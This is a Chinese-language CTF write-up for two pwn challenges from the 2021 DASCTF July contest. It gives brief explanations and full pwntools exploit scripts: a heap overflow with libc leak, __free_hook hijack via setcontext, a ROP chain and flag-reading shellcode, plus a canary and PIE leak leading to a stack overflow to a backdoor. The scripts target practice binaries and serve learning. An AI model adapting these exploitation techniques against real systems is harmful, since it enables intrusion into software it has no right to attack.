2021DASCTF July X CBCTF pwn wp

此题是7月末的比赛，本人旧博客搬到新博客啦，各位见谅哈（实际就是没钱租用服务器啦呜呜）

**EasyHeap wp：
Edit有堆溢出，有沙箱，禁用了execute，freehook为setcontext+5361即可，尝试orw就行了。写shellcode到hook，赋予权限即可，**

exp:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process('./Easyheap')
p=remote('node4.buuoj.cn','29904')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc=ELF('./libc-2.27.so')
def add(size,con):
    p.sendlineafter('>> :\n','1')
    p.recvuntil('Size:')
    p.sendline(str(size))
    p.recvuntil('Content:')
    p.sendline(con)
def free(idx):
    p.sendlineafter('>> :\n','2')
    p.sendlineafter('Index:\n',str(idx))
 
def show(idx):
    p.sendlineafter('>> :\n','3')
    p.sendlineafter('Index:\n',str(idx))
 
def edit(idx,con):
    p.sendlineafter('>> :\n','4')
    p.recvuntil('Index:')
    p.sendline(str(idx))
    p.recvuntil('Content:')
    p.sendline(con)
[add(0x100,'a'*0x90) for i in range(7)]    
add(0x100,'a'*0x90)
add(0x100,'a'*0x90)
[free(i) for i in range(7)]
    
free(7)
[add(0x100,'a'*0x90) for i in range(7)]
add(0x100,'')
edit(7,'a'*0x20)
show(7)
libc_base=u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00'))-0x3ebc0a#-0x3e7a61#-0x3e4a20
print hex(libc_base)
edit(7,'a'*0x18+p64(0x81))
free_hook=libc_base+libc.sym['__free_hook']
print hex(free_hook)
exit_hook=libc_base+0x619060+3848
print hex(exit_hook)
system=libc_base+libc.sym['system']
malloc_hook=libc_base+libc.sym['__malloc_hook']-0x23
realloc=libc_base+libc.sym['__realloc_hook']
open1=libc_base+libc.sym['open']
rce=libc_base+0x4f365
setcontext = libc_base + libc.sym['setcontext'] + 53
syscall=libc_base+libc.search(asm("syscall\nret")).next()
print(hex(syscall))
free(7)
edit(0,'a'*0x98+p64(0x21)+p64(free_hook))
layout = [
    libc_base+libc.search(asm("pop rdi\nret")).next(), #: pop rdi; ret;
    free_hook & 0xfffffffffffff000,
    libc_base+libc.search(asm("pop rsi\nret")).next(), #: pop rsi; ret;
    0x2000,
    libc_base+libc.search(asm("pop rdx\nret")).next(), #: pop rdx; ret;
    7,
    libc_base+libc.search(asm("pop rax\nret")).next(), #: pop rax; ret;
    10,
    syscall, #: syscall; ret;
    libc_base+libc.search(asm("jmp rsp")).next(), #: jmp rsp;
]
 
shellcode = asm('''
sub rsp, 0x800
push 0x67616c66
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall
 
cmp eax, 0
js failed
 
mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall
 
mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall
 
jmp exit
 
failed:
push 0x6c696166
mov edi, 1
mov rsi, rsp
mov edx, 4
mov eax, edi
syscall
 
exit:
xor edi, edi
mov eax, 231
syscall
''')
frame = SigreturnFrame()
frame.rax=0
frame.rdi=0
frame.rsi=free_hook&0xfffffffffffff000
frame.rdx=0x2000
frame.rsp=free_hook&0xfffffffffffff000
frame.rip=syscall
p1=str(frame)
add(0x100,'ddd')
add(0x100,p64(setcontext))
add(0x300,'a'*0x190)
add(0x120,'d'*0x110)
edit(9,p1)
free(9)
p.sendline(flat(layout) + shellcode)
p.interactive()

**Old_thing wp:
难点在登录账号和密码的地方，随便找个md5加密后开头是0字节的字符串，然后输入密码的时候有个溢出，可以把第一个字节覆盖成0字节，分两次泄露canary和elf_base基地址，然后打后门就可以了**

exp:

from pwn import *
 
p=process('./canary3')
p=remote('node4.buuoj.cn',29587)
context.log_level='debug'
p.sendlineafter('username: ','admin\x00')
p.sendlineafter('password: ','A80\x00'.ljust(0x20,'\x00'))
 
#pie
p.sendlineafter('3.exit\n','2')
p.sendlineafter('your input:\n','a'*0x8)
 
#gdb.attach(p,'b *$rebase(0x249e)')
 
p.sendlineafter('3.exit\n','1')
p.recvuntil('aaaaaaaa')
pie=u64(p.recv(6).ljust(8,'\x00'))+0x55a9438dc000-0x55a9438dca0a
success('pie:'+hex(pie))
#canary
p.sendlineafter('3.exit\n','2')
p.sendlineafter('your input:\n','a'*0x18)
 
 
p.sendlineafter('3.exit\n','1')
p.recvuntil('a'*0x18)
canary=u64(p.recv(8).ljust(8,'\x00'))-0xa
success('canary:'+hex(canary))
 
#overflow
p.sendlineafter('3.exit\n','2')
p.sendlineafter('your input:\n','a'*0x18+p64(canary)+'a'*8+p64(pie+0x239f))
 
 
p.interactive()